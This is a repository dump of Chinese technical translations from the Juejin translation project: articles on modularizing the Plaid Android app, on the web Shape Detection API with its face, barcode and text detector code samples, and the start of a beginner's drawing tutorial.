上传应用束后，可生成配置应用。随着[应用束](http://g.co/androidappbundle)成为[开放规范](https://developer.android.com/guide/app-bundle#aab_format)，其它应用商店也可实现该交付机制。为 Google Play 生成并签署应用，应用必须注册到[由 Google Play 签名的应用程序](https://developer.android.com/studio/publish/app-signing)。\n\n#### 优势\n\n这种封装改变给我们带来了什么？\n\n**Plaid 现在设备减少 60% 以上体积，等同大约 4MB 数据。**\n\n这意味每一位用户都能为其它应用预留更多空间。\n同时下载时间也因文件大小缩小而改善。\n\n![](https://i.loli.net/2018/12/17/5c179ef2e5c9c.png)\n\n无需修改任何一行代码即可实现这一大幅度改进。\n\n### 实现模块化\n\n我们为实现模块化所选的方法：\n\n1. 将所有代码和资源块移动到核心模块中。\n2. 识别可模块化功能。\n3. 将相关代码和资源移动到功能模块中。\n\n![](https://cdn-images-1.medium.com/max/800/1*3OniQxsZEShiTnQLyuBwtQ.png)\n\n绿色：动态功能 | 深灰色：应用模块 | 浅灰色：库\n\n上面图表向我们展示了 Plaid 模块化现状：\n\n* `旁路模块` 和外部 `分享依赖` 包含在核心模块当中\n* `应用` 依赖于 `核心模块`\n* 动态功能模块依赖于 `应用`\n\n#### 应用模块\n\n`应用` 模块基本上是现存的[应用](https://developer.android.com/studio/build/)，被用来创建应用束且向我们展示 Plaid。许多用来运行 Plaid 的代码没必要必须包含在该模块中，而是可移至其它任何地方。\n\n#### Plaid 的 `核心模块`\n\n为开始重构，我们将所有代码和资源都移动至一个 [com.android.library](https://developer.android.com/studio/projects/android-library) 模块。进一步重构后，我们的`核心模块`仅包含各个功能模块间共享所需要代码和资源。这将使得更加清晰地分离依赖项。\n\n#### 外部库\n\n通过`旁路模块`将一个第三方依赖库包含在核心模块中。此外通过 gradle `api` 依赖关键字，将所有其它 gradle 依赖从 `应用` 移动至 `核心模块`。\n\nGradle 依赖声明：api vs implementation_\n\n通过 `api` 代替 `implementation` 可在整个程序中共享依赖项。这将减少每一个功能模块体积大小，因本例 `核心模块` 中依赖项仅需包含在单一模块中。此外还使我们的依赖关系更加易于维护，因为它们被声明在一个单一文件而非在多个 `build.gradle` 文件间传播。\n\n#### 动态功能模块\n\n上面我提到了我们识别的可被重构为 [com.android.dynamic-feature](https://developer.android.com/studio/projects/dynamic-delivery) 的模块。它们是：\n\n```\n:about\n:designernews\n:dribbble\n:search\n```\n\n#### 动态功能介绍\n\n一个动态功能模块本质上是一个 gradle 模块，可从基础应用模块被独立下载。它包含代码、资源、依赖，就如同其它 gradle 模块一样。虽然我们还没在 Plaid 中使用动态交付，但我们希望将来可减少最初下载体积。\n\n### 伟大的功能改革\n\n将所有东西都移动至核心模块后，我们将“关于”页面标记为具有最少依赖项的功能，故我们将其重构为一个新的 `关于` 模块。这包括 Activties、Views、代码仅用于该功能的内容。同样，我们把所有资源例如 drawables、strings 和动画移动至一个新模块。\n\n我们对每个功能模块进行重复操作，有时需要分解依赖项。\n\n最后，核心模块包含大部分共享代码和主要功能。由于主要功能仅显示于应用模块中，我们把相关代码和资源移回 `应用`。\n\n#### 功能结构剖析\n\n编译后代码可在包中进行结构优化。强烈建议在将代码分解成不同编译单元前，将代码移动至与功能对应包中。幸运的是我们不用必须重构，因为 Plaid 已很好地对应了功能。\n\n![](https://cdn-images-1.medium.com/max/800/1*kE8K32z6aVssAmdboGuloA.png)\n\n功能和核心模块以及各自体系结构层级\n\n正如我提到的，Plaid 许多功能都通过新闻源提供。它们由远程和本地 **data** 资源、**domain**、**UI** 这些层级组成。\n\n数据源不但显示在主要功能提示中，也显示在与对应功能模块本身相关详情页中。域名层级在一个单一包中唯一。它必须分为两部分：一部分在应用中共享，另一部分仅用在一个功能模块中。\n\n可复用部分被保存在核心模块，其它所有内容都在各自功能模块。数据层和大部分域名层至少与其它一个模块共享，并且同时也保存在核心模块。\n\n#### 包变化\n\n我们还对包名进行了优化，从而反映新的模块化结构体系。\n仅与 `:dribbble` 相关代码从 `io.plaidapp` 移动至 `io.plaidapp.dribbble`。通过各自新的模块名称，这同样运用于每一个功能。\n\n这意味着许多导包必须改变。\n\n对资源进行模块化会产生一些问题，因为我们必须使用限定名称消除生成的 `R` 类歧义。例如，导入本地布局视图会导致调用 `R.id.library_image`，而在核心模块相同文件中使用一个 drawable 会导致\n\n```\nio.plaidapp.core.R.drawable.avatar_placeholder\n```\n\n我们使用 Kotlin 导入别名特性减轻了这一点，它允许我们如下导入核心 `R` 文件：\n\n```\nimport io.plaidapp.core.R as coreR\n```\n\n允许将呼叫站点缩短为\n\n```\ncoreR.drawable.avatar_placeholder\n```\n\n相较于每次都必须查看完整包名，这使得阅读代码变得简洁和灵活得多。\n\n#### 资源移动准备\n\n资源不同于代码，没有一个包结构。这使得通过功能划分它们变得异常困难。但是通过在你的代码中遵循一些约定，也未尝不可能。\n\n通过 Plaid，文件在被用到的地方作为前缀。例如，资源仅用于以 `dribbble_` 为前缀的 `:dribbble`。\n\n将来，一些包含多个模块资源的文件，例如 styles.xml 将在模块基础上进行结构化分组，并且每一个属性同时也作为前缀。\n\n举个例子：在单块应用中，`strings.xml` 包含了整体所用大部分字符串。\n在一个模块化应用内中，每一个功能模块仅包含对应模块本身字符串资源。\n字符串在模块化前进行分组将更容易拆分文件。\n\n像这样遵循约定，可以更快地、更容易地将资源转移至正确地方。这同样也有助于避免编译错误和运行时序错误。\n\n### 过程挑战\n\n同团队良好沟通，对使得一个重要的重构任务像这样易于管理而言，十分重要。传递计划变更并逐步实现这些变更将帮助我们合并冲突，并且将阻塞降到最低。\n\n#### 善意提醒\n\n本文前面依赖关系图表显示，动态功能模块了解应用模块。另一方面，应用模块不能轻易地从动态功能模块访问代码。但他们包含必须在某一时间执行的代码。\n\n应用对功能模块没足够了解时访问代码，这将没办法在 `Intent(ACTION_VIEW, ActivityName::class.java)` 方法中通过它们的类名启动活动。\n有多种方式启动活动。我们决定显示地指定组件名。\n\n为实现它，我们在核心模块开发了 `AddressableActivity` 接口。\n\n```\n/**\n * An [android.app.Activity] that can be addressed by an intent.\n */\ninterface AddressableActivity {\n    /**\n     * The activity class name.\n     */\n    val className: String\n}\n```\n\n使用这种方式，我们创建了一个函数来统一活动启动意图创建：\n\n```\n/**\n * Create an Intent with [Intent.ACTION_VIEW] to an [AddressableActivity].\n */\nfun intentTo(addressableActivity: AddressableActivity): Intent {\n    return Intent(Intent.ACTION_VIEW).setClassName(\n            PACKAGE_NAME,\n            addressableActivity.className)\n}\n```\n\n最简单实现 `AddressableActivity` 方式为仅需一个显示类名作为一个字符串。通过 Plaid，每一个 `活动` 都通过该机制启动。对一些包含意图附加部分，必须通过应用各个组件传递到活动中。\n\n如下文件查看我们的实现过程：\n\n- [**AddressableActivity.kt**: Helpers to start activities in a modularized world._github.com](https://github.com/nickbutcher/plaid/blob/master/core/src/main/java/io/plaidapp/core/util/ActivityHelper.kt \"https://github.com/nickbutcher/plaid/blob/master/core/src/main/java/io/plaidapp/core/util/ActivityHelper.kt\")\n\n#### Styleing 问题\n\n相对于整个应用单一清单文件而言，现在对每一个动态功能模块，对清单文件进行了分离。\n这些清单文件主要包含与它们组件实例化相关的一些信息，以及通过 `dist:` 标签反应的一些与它们交付类型相关的一些信息。\n这意味着活动和服务都必须声明在包含有与组件对应的相关代码的功能模块中。\n\n我们遇到了一个将样式模块化的问题；我们仅将一个功能使用的样式提取到与该功能相关的模块中，但是它们经常是通过隐式构建在核心模块之上。\n\n![](https://cdn-images-1.medium.com/max/800/1*YJRNNNgg5JbRoe20l14Ffw.png)\n\nPLaid 样式结构部分\n\n这些样式通过模块清单文件以主题形式被提供给组件活动使用。\n\n一旦我们将它们移动完毕，我们会遇到像这样编译时问题：\n\n```\n* What went wrong:\n\nExecution failed for task ‘:app:processDebugResources’.\n> Android resource linking failed\n~/plaid/app/build/intermediates/merged_manifests/debug/AndroidManifest.xml:177: AAPT:\nerror: resource style/Plaid.Translucent.About (aka io.plaidapp:style/Plaid.Translucent.About) not found.\nerror: failed processing manifest.\n```\n\n清单文件合并视图将所有功能模块中清单文件合并到应用模块。合并失败将导致功能模块样式文件在指定时间对应用模块不可用。\n\n为此，我们在核心模块样式文件中为每一样式如下创建一份空声明：\n\n```\n<! — Placeholders. Implementations in feature modules. →\n\n<style name=”Plaid.Translucent.About” />\n<style name=”Plaid.Translucent.DesignerNewsStory” />\n<style name=”Plaid.Translucent.DesignerNewsLogin” />\n<style name=”Plaid.Translucent.PostDesignerNewsStory” />\n<style name=”Plaid.Translucent.Dribbble” />\n<style name=”Plaid.Translucent.Dribbble.Shot” />\n<style name=”Plaid.Translucent.Search” />\n```\n\n现在清单文件合并在合并过程中抓取样式，尽管样式的实际实现是通过功能模块样式引入。\n\n另一种避免如上问题做法是保持样式文件声明在核心模块。但这仅作用于所有资源引用同时也在核心模块中情况。这就是我们为何决定通过上述方式的原因。\n\n#### 动态功仪器测试\n\n通过模块化，我们发现测试工具目前不能驻留在动态功能模块中，而是必须包含在应用模块中。对此我们将在即将发布的有关测试工作博客文章中进行详细介绍。\n\n### 接下来还会发生什么？\n\n#### 动态代码加载\n\n我们通过应用束使用动态交付，但初次安装后不要通过 [Play Core Library](https://developer.android.com/guide/app-bundle/playcore) 下载这些文件。例如这将允许我们将默认未启用的新闻源（产品搜索）标记为仅在用户允许该新闻源后安装。\n\n#### 进一步增加新闻源\n\n通过模块化过程，我们保持考虑进一步增加新闻源可能性。分离清洁模块工作以及实现按需交付可能性使得这一点更加重要。\n\n#### 模块精细化\n\n我们在模块化 Plaid 方面取得很大进展。但仍有工作要做。产品搜索是一个新的新闻源，现在我们并未放到动态功能模块当中。同时一些已提取的功能模块中的功能可从核心模块中移除，然后直接集成到各自功能中。\n\n### 为何我决定模块化 Plaid？\n\n通过该过程，Plaid 现在是一个高度模块化应用。所有这些都不会改变用户体验。我们在日常开发中确实从这些努力中获得了一些益处。\n\n#### 安装体积\n\nPLaid 现在用户设备平均减少 60% 体积。\n这使得安装更快，并且节省宝贵网络开销。\n\n#### 编译时间\n\n一个没有缓存的调试构建现在需 **32 秒而不是 48 秒**。\n同时任务从 50 项增长到 250 项。\n\n这样的时间节省，主要是由于增加并行构建以及由于模块化而避免编译。\n\n将来，单个模块变化不需对所有单个模块进行编译，并且使得连续编译速度更快。\n\n* 作为引用，这些是我构建 [before](https://github.com/nickbutcher/plaid/commit/9ae92ab39f631a75023b38c77a5cdcaa4b2489c5) 和 [after](https://github.com/nickbutcher/plaid/tree/f7ab6499c0ae35ae063d7fbb155027443d458b3a) timing 的一些提交。\n\n#### 可维护性\n\n我们在过程中分离可各种依赖项，这使得代码更加简洁。同时，副作用越来越小。我们的每个功能模块都可在越来越少交互下独立工作。但主要益处是我们必须解决的冲突合并越来越少。\n\n### 结语\n\n我们使得应用体积减少**超过 60%**，完善了代码结构并且将 PLaid 模块化成动态功能模块以及增加了按需交付潜力。\n\n整个过程，我们总是将应用保持在一个可随时发送给用户状态。您今天可直接切换你的应用发出一个应用束以节省安装体积。模块化需要一些时间，但鉴于上文所见好处，这是值得付出努力的，特别是考虑到动态交付。\n\n**去查看 [Plaid’s source code](https://github.com/nickbutcher/plaid) 了解我们所有的变化和快乐模块化过程！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-picture-is-worth-a-thousand-words-faces-and-barcodes—the-shape-detection-api.md",
    "content": "> * 原文地址：[A Picture is Worth a Thousand Words, Faces, and Barcodes—The Shape Detection API](https://developers.google.com/web/updates/2019/01/shape-detection)\n> * 原文作者：[Thomas Steiner](https://developers.google.com/web/resources/contributors/thomassteiner)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-picture-is-worth-a-thousand-words-faces-and-barcodes—the-shape-detection-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-picture-is-worth-a-thousand-words-faces-and-barcodes—the-shape-detection-api.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[Park-ma](https://github.com/Park-ma), [haiyang-tju](https://github.com/haiyang-tju)\n\n# 提取图片中的文字、人脸或者条形码 —— 形状检测API\n\n> 注意：我们目前正在使用此 API 的规范作为[功能项目](https://developers.google.com/web/updates/capabilities)的一部分，随着这个新的 API 从设计转向实现，我们将保持这篇文章的不断更新。\n\n## 什么是形状检测 API？\n\n借助 API [`navigator.mediaDevices.getUserMedia`](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia) 和新版安卓的 chrome [photo picker](https://bugs.chromium.org/p/chromium/issues/detail?id=656015)，从移动设备上的相机获取图像或者实时上传视频数据或本地图像变得相当容易。在此之前，这些动态的图像数据以及页面上的静态图像一直都是个我们无法操作的黑盒，即使图像实际上可能包含许多有趣的特征，如人脸、条形码和文本。\n\n过去，如果开发人员想要在客户端提取这些特征，例如构建一个[二维码识别器](https://qrsnapper.appspot.com/)，他们必须借助外部的 JavaScript 库。从性能的角度来看代价是昂贵的，并且会增加整体页面的资源体积。另一方面，诸如 Android、iOS 和 macOS 这些操作系统，以及他们的相机模块中的硬件芯片，通常已经具有高性能和高度优化的特征检测器，例如 Android 的 [`FaceDetector`](https://developer.android.com/reference/android/media/FaceDetector) 或者 iOS 自带的特征检测器 [`CIDetector`](https://developer.apple.com/documentation/coreimage/cidetector?language=objc)。\n\n而 Shape Detection API 做的便是调用这些原生实现，并将其转化为一组 JavaScript 接口。目前，这个 API 支持的功能是通过 `FaceDetector` 接口进行人脸检测，通过 `BarcodeDetector` 接口进行条形码检测以及通过 `TextDetector` 接口进行文本检测（光学字符识别，OCR）。\n\n> **小提示**：尽管文本检测是一个有趣的领域，但在目前要标准化的计算平台或字符集中，文本检测还不够稳定，这也使文本检测已经有一套单独的[信息规范](https://wicg.github.io/shape-detection-api/text.html)的原因。\n\n[阅读更多相关解释](https://docs.google.com/document/d/1QeCDBOoxkElAB0x7ZpM3VN3TQjS1ub1mejevd2Ik1gQ/edit)\n\n### Shape Detection API 实践用例\n\n如上所述，Shape Detection API 目前支持检测人脸、条形码和文本。以下列表包含了所有三个功能的用例示例：\n\n*   人脸检测\n    *   在线社交网络或照片共享网站通常会让用户在图像中标记出人物。通过边缘检测识别人脸，能使这项工作更为便捷。\n    *   内容网站可以根据可能检测到的面部动态裁剪图像，而不是依赖于其他启发式方法，或者使用 [Ken Burns](https://en.wikipedia.org/wiki/Ken_Burns_effect) 提出的通过平移或者缩放检测人脸。\n    *   多媒体消息网站可以允许其用户在检测到的面部的不同位置上添加[太阳镜或胡须](https://beaufortfrancois.github.io/sandbox/media-recorder/mustache.html)之类的有趣贴图。\n\n*   条形码检测\n    *   能够读取二维码的 Web 应用程序可以实现很多有趣的用例，如在线支付或 Web 导航，或使用条形码在应用程序上分享社交连接。\n    *   购物应用可以允许其用户扫描实体店中物品的 [EAN](https://en.wikipedia.org/wiki/International_Article_Number) 或者 [UPC](https://en.wikipedia.org/wiki/Universal_Product_Code) 条形码，以在线比较价格。\n    *   机场可以设立网络信息亭，乘客可以在那里扫描登机牌的 [Aztec codes](https://en.wikipedia.org/wiki/Aztec_Code) 以显示与其航班相关的个性化信息。\n\n*   文字检测\n    *   当没有提供其他描述时，在线社交网站可以通过将检测到的文本添加为 `img[alt]` 属性值来改善用户生成的图像内容的体验。\n    *   内容网站可以使用文本检测来避免将标题置于包含文本的主要图像之上。\n    *   Web 应用程序可以使用文本检测来翻译文本，例如，翻译餐馆菜单。\n\n## 当前进度\n\n| ---- | ------ |\n| 步骤 | 状态 |\n| 1、创建解释器| [完成](https://docs.google.com/document/d/1QeCDBOoxkElAB0x7ZpM3VN3TQjS1ub1mejevd2Ik1gQ/edit) |\n| 2、创建规范的初始草案\t | [进行中](https://wicg.github.io/shape-detection-api) |\n| 3、收集反馈并迭代 | [进行中](#feedback) |\n| **4、投入实验** | **[进行中](https://developers.chrome.com/origintrials/#/view_trial/-2341871806232657919)** |\n| 5. 发布 | 未开始 |\n\n## 如何使用 Shape Detection API\n\n三个检测器向外暴露的接口 `FaceDetector`、`BarcodeDetector` 和 `TextDetector` 都非常相似，它们都提供了一个异步方法 `detect`，它接受一个 [`ImageBitmapSource`](https://html.spec.whatwg.org/multipage/imagebitmap-and-animations.html#imagebitmapsource) 输入（或者是一个 [`CanvasImageSource`](https://html.spec.whatwg.org/multipage/canvas.html#canvasimagesource)、[`Blob`] 对象(https://w3c.github.io/FileAPI/#dfn-Blob) 或者 [`ImageData`](https://html.spec.whatwg.org/multipage/canvas.html#imagedata)）。\n\n在使用 `FaceDetector` 和 `BarcodeDetector` 的情况下，可选参数可以被传递到所述检测器的构造函数中，其允许向底层原生检测器发起调用指示。\n\n> **小提示**：如果你的 `ImageBitmapSource` 来自一个 [独立的脚本源](https://html.spec.whatwg.org/multipage/#concept-origin) 并且与 document 的源不同，那么 `detect` 将会调用失败并抛出一个名为 SecurityError 的 [`DOMException`](https://heycam.github.io/webidl/#idl-DOMException) 。如果你的图片对跨域设置了 CORS，那么你可以使用 [`crossorigin`](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) 属性来请求 CORS 访问。\n\n### 在项目里使用 `FaceDetector`\n\n```\nconst faceDetector = new FaceDetector({\n  // (Optional) Hint to try and limit the amount of detected faces\n  // on the scene to this maximum number.\n  maxDetectedFaces: 5,\n  // (Optional) Hint to try and prioritize speed over accuracy\n  // by, e.g., operating on a reduced scale or looking for large features.\n  fastMode: false\n});\ntry {\n  const faces = await faceDetector.detect(image);\n  faces.forEach(face => console.log(face));\n} catch (e) {\n  console.error('Face detection failed:', e);\n}\n```\n\n### 在项目里使用 `BarcodeDetector`\n\n```\nconst barcodeDetector = new BarcodeDetector({\n  // (Optional) A series of barcode formats to search for.\n  // Not all formats may be supported on all platforms\n  formats: [\n    'aztec',\n    'code_128',\n    'code_39',\n    'code_93',\n    'codabar',\n    'data_matrix',\n    'ean_13',\n    'ean_8',\n    'itf',\n    'pdf417',\n    'qr_code',\n    'upc_a',\n    'upc_e'\n  ]\n});\ntry {\n  const barcodes = await barcodeDetector.detect(image);\n  barcodes.forEach(barcode => console.log(barcode));\n} catch (e) {\n  console.error('Barcode detection failed:', e);\n}\n```\n\n### 在项目里使用 `TextDetector`\n\n```\nconst textDetector = new TextDetector();\ntry {\n  const texts = await textDetector.detect(image);\n  texts.forEach(text => console.log(text));\n} catch (e) {\n  console.error('Text detection failed:', e);\n}\n```\n\n## 特征检测\n\n在使用 Shape Detection API 接口之前检查构造函数是否存在是必须的，因为虽然 Linux 和 Chrome OS 上的 Chrome 目前已经开放了检测器的接口，但它们却没法正常使用（[bug](https://crbug.com/920961)）。作为临时措施，我们建议在使用特征检测应当这么做：\n\n```\nconst supported = await (async () => 'FaceDetector' in window &&\n    await new FaceDetector().detect(document.createElement('canvas'))\n    .then(_ => true)\n    .catch(e => e.name === 'NotSupportedError' ? false : true))();\n```\n\n## 最佳做法\n\n所有检测器都是异步工作的，也就是说，它们不会阻塞主线程 🎉 ，因此不要过分追求实时检测，而是给检测器一段时间来完成其工作。\n\n如果你是 [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) 的忠实粉丝（难道还有人不是吗？）最棒的是检测器的接口也暴露在那里。检测结果也是可序列化的，因此可以通过 `postMessage` 将其从 worker 线程传回主线程。这里有个 [demo](https://shape-detection-demo.glitch.me/) 展示了一些简单实践。\n\n并非所有平台实现都支持所有功能，因此请务必仔细检查支持情况，并将 API 看作是渐进增强功能。例如，某些平台本身可能支持人脸检测，但不支持面部标志检测（眼睛、鼻子、嘴巴等等），或者可以识别文本的存在和位置，但不识别实际的文本内容。\n\n> **小提示**：此 API 是一种优化，并不能保证每个用户都可以正常使用。期望开发人员将其与他们自己的图像识别代码相结合，当其可用时将其作为原生的一种优化手段。\n\n## 意见反馈\n\n我们需要您的帮助，以确保 Shape Detection API 能够满足您的需求，并且我们不会错过任何关键方案。\n\n**我们需要你的帮助！** —— Shape Detection API 的当前设计是否满足您的需求？如果不能，请在 [Shape Detection API repo](https://github.com/WICG/shape-detection-api) 提交 issue 并提供尽可能详细的信息。\n\n我们也很想知道您打算如何使用 Shape Detection API：\n\n*   有一个独到的使用场景或者说你知道在哪些情况下可以用到它？\n*   你打算用这个吗？\n*   喜欢它，并想表达你对它的支持？\n\n在 [Shape Detection API WICG Discourse](https://discourse.wicg.io/t/rfc-proposal-for-face-detection-api/1642/3) 上分享您的讨论与看法。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-quick-beginners-guide-to-drawing.md",
    "content": "> * 原文地址：[A quick beginner’s guide to drawing: 6 drawing exercises to get you started right now!](https://medium.com/personal-growth/a-quick-beginners-guide-to-drawing-58213877715e)\n> * 原文作者：[Ralph Ammer](https://medium.com/@ralphammer?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-quick-beginners-guide-to-drawing.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-quick-beginners-guide-to-drawing.md)\n> * 译者：[wzasd](https://github.com/wzasd)\n> * 校对者：[LeeSniper](https://github.com/LeeSniper)、[liruochen1998](https://github.com/liruochen1998)\n\n# 绘图技巧的快速入门\n\n6 个绘图练习，让你立即上手！\n\n![](https://cdn-images-1.medium.com/max/800/1*rUnTj2M6B-pWZAGEJzUXIQ.gif)\n\n**绘图的基本功**有两个必须掌握的东西：学习**控制你的手**和**眼睛**。\n\n小贴士：针对以下的 6 个练习，我建议您**用一支笔和特定的类型的纸**（例如 A5）进行练习。\n\n### 灵巧性 — 两项训练\n\n前两个练习是关于如何控制您的手。我们想去**建立你的肌肉记忆**并且训练您的**眼和手的协调性**。像这样的机械训练是一个很好的开始。后期您可能会使用这种方法来**尝试新的笔**，或者**当您不知道要绘制什么的时候来进行训练**。\n\n当然，它们也是放松心情的好办法。\n\n#### 练习 1：画圈 — 画的越多越好\n\n> **在一张纸上画各种尺寸的圆圈直到纸被填满。确保圆圈不会重叠。**\n\n![](https://cdn-images-1.medium.com/max/800/1*4BoggbHjC0_6xxm9Giq7jA.gif)\n\n绘制圆圈[并不是你想象中的那么容易](https://medium.com/personal-growth/why-perfection-is-boring-1079cb3bf5d1)。注意到没有当你画的圆越大，想要画的圆润就会越困难？尝试在两个方向绘制 - 并不断画出他们。\n\n小贴士：当手开始抽筋的时候**甩手**！毕竟，这是关于我们的手的锻炼。\n\n![](https://cdn-images-1.medium.com/max/800/1*Ry2NnFZaPWmrsO2QiuJP9A.gif)\n\n#### 练习 2：镶嵌 — 结构的乐趣\n\n> **用平行线充满一张纸。**\n\n![](https://cdn-images-1.medium.com/max/800/1*ZyZQbd50EXj65XdE8RirNg.gif)\n\n对角线对我们来说是最简单的因为**它们符合我们手腕的运动**。你有没有注意到左撇子比右撇子更喜欢相反的方向？看看你最喜欢的绘图设计师（对我来说：[Leonardo](https://en.wikipedia.org/wiki/Leonardo_da_Vinci)）的图纸，并猜测他们使用的哪只手！\n\n![](https://cdn-images-1.medium.com/max/800/1*3FcbNajSFhjajSCEluEJFg.gif)\n\n**现在请确保尝试绘制其他方向的线**。玩的愉快！组合各种不同的影线，欣赏纸上的明暗度。\n\n小贴士：**请勿旋转画纸**。这个训练的要点是让你的手适应各个方向。\n\n**现在我们已经对手进行了训练，让我们开始训练我们的眼睛！**\n\n### 感知力 — 学习去看\n\n绘画的重点是[**看到并且理解你所看到的东西**](https://medium.com/personal-growth/stop-taking-pictures-and-start-drawing-b1642aded2b6)。人们经常认为 每个人看到的东西都是相同的，但实际看是一种可以提升的技巧。**你画的越多，看到的就越多。**所以下面的四个训练**将会使你看到更多**。\n\n#### 训练 3：轮廓 — 向我展示你的手\n\n> **你看到你手上所有迷人的线条轮廓吗？把它们收集在一张纸上！不要试图画出整个手，只需要挑出一些可爱的线条部位。**\n\n![](https://cdn-images-1.medium.com/max/800/1*cZ2zA0W-UhXNDrbrghC6ww.gif)\n\n无论你是画一个人、一棵植物还是你最喜欢的动物，通常来说都是定义一个身体或者物体的**轮廓**，并让其他人看出来是什么。挑战的难点不是要画出这些独特的线条，而是首先要**看到它们**；\n\n**即使你认为你已经知道一个物体的形状，但总是值得你去仔细观察并重新审视它**。\n\n#### 练习 4：明暗关系 — 折叠光与暗\n\n> **排列并且画一块布。从轮廓开始，然后 - 使用您的镶嵌技能 - 创造光与暗的相互关系。**\n\n![](https://cdn-images-1.medium.com/max/800/1*573JHUFPYcHCIa-Ai6_1EQ.gif)\n\n这个练习是给你对光和暗的感觉。我不得不承认这并不简单，也可能成为高级教程的一部分。请记住：**这一个并不是完全的“正确”。**这一块布就是一个**背景**，可以尝试你以前练过各种不同的图案，并感受如何用你手绘的光线和阴影。\n\n小贴士：您可以使用**弯曲阴影**来调整形状，并使用阴影线实现与**交叉线**来模拟较暗区域。\n\n![](https://cdn-images-1.medium.com/max/800/1*jiVJAU_YuHy_f4zJg47ORg.gif)\n\n小贴士：当你看到布的时候，请闭上眼睛。你会看的很模糊，但你也会**看到光与暗之间的强烈对比**。\n\n![](https://cdn-images-1.medium.com/max/800/1*oUcRLSSkj9vtMZDxLc1Ivw.gif)\n\n光线的排列是对于图片内**重要内容展示**的最好方法。只要看看 [Rembrandt](https://de.wikipedia.org/wiki/Rembrandt_van_Rijn) 和 [Georges de la Tour](https://en.wikipedia.org/wiki/Georges_de_La_Tour) 的绘画。下一次你看电影时会注意到光阴带来的喜剧效果。\n\n#### 练习 5：透视 — 消失的空间\n\n> **让我们画一些立方体！只需要按照下面的简单步骤。**\n\n![](https://cdn-images-1.medium.com/max/800/1*7SGLqdcPGZUuDty_3ozYvg.gif)\n\n透视图基本上是** 3D 环境在 2D 表面上（您的纸）的投影**。\n\n![](https://cdn-images-1.medium.com/max/800/1*dpjQq5D0nfEYIYlKsNVGYw.gif)\n\n构建透视图是一门科学，不能在一篇文章的关注范围内详细介绍。不过，我们可以通过一种**简单的技术**获得一些乐趣，让我们直观地感受透视图的魔力：\n\n**步骤 1：** 画一条水平线，这就是你照片的地平线。\n\n![](https://cdn-images-1.medium.com/max/800/1*HBIymxEYZI2x3I3s_e_IDw.gif)\n\n**步骤 2：** 在纸张边缘附近的地平线定义两个点。这就是你的两个**消失点**。\n\n![](https://cdn-images-1.medium.com/max/800/1*1uFonMBvFQ3eNL9e7BcGGw.gif)\n\n**步骤 3：** 在某处绘制垂直线。\n\n![](https://cdn-images-1.medium.com/max/800/1*b2GHhfd_-4XHLggXP0ZxDg.gif)\n\n**步骤 4：** 将垂直线的端点连接到消失点。\n\n![](https://cdn-images-1.medium.com/max/800/1*IogkqeVs_51JOG2El6l46A.gif)\n\n**步骤 5：** 像这样添加两条垂直线。\n\n![](https://cdn-images-1.medium.com/max/800/1*b4uEYTxOtx91ilLdFD-vQQ.gif)\n\n**步骤 6：** 将他们与消失点连接起来。\n\n![](https://cdn-images-1.medium.com/max/800/1*VpcqF0gbtjKS2HzA9cvReg.gif)\n\n**步骤 7：** 现在用一直更深颜色的铅笔或者钢笔来强调立方体。瞧！\n\n![](https://cdn-images-1.medium.com/max/800/1*cAuyUJ969E81XvR_p9u4qg.gif)\n\n**重复步骤 3-7 如果你喜欢的话。** 